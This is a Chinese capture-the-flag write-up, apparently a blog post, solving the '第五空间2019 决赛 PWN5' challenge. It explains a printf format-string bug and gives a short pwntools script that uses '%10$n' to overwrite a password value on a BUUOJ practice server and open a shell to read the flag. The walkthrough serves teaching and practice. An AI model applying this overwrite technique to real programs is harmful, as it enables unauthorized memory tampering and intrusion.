pwn07

[第五空间2019 决赛]PWN5 1

1.checksec

在这里插入图片描述
开启了NX保护和Canary保护

也就意味着不能用栈溢出来攻击了

2.ida

在这里插入图片描述
在这里插入图片描述
先写入buf,随后又printf(buf),明显的格式化字符串漏洞。
如果nptr也就是输入的密码和0x804c044下的数字相同,则成功。
因此我们可以通过%n来修改0x804c044上的数达到自己的目的。
我们先利用AAAA.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x来找到printf参数存放地址:
在这里插入图片描述
A的ascll码为41,因此偏移值为10。
这样,我们可以先把0x804c044这个地址先写到偏移值为10的地址中,然后利用%10$n把4写入到这个地址中去,然后再将密码写为4就可以达到目的了。

‘%10$n’ 是一个格式化控制符,用于在C语言的printf函数中将已打印的字符数存储到第10个整数变量的地址所指向的位置。‘%10$n’ 会将已打印的字符数存储在参数列表中的第10个整数变量的地址所指向的位置。
exp如下:

from pwn import *
r=remote('node4.buuoj.cn',28685)
target=0x804c044
pay=p32(target)+b'%10$n'       #由于在%10$n之前已经写入了0x804C044 为4字节,  因此%10$n:将%10n之前printf已经打印的字符个数"4"赋值给偏移处指针所指向的地址位置    
r.recvuntil(':')
r.sendline(pay)
r.recvuntil(':')
r.sendline(str(4))     #写入了四字节,因此此处应写入4
r.interactive()

cat flag
在这里插入图片描述

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值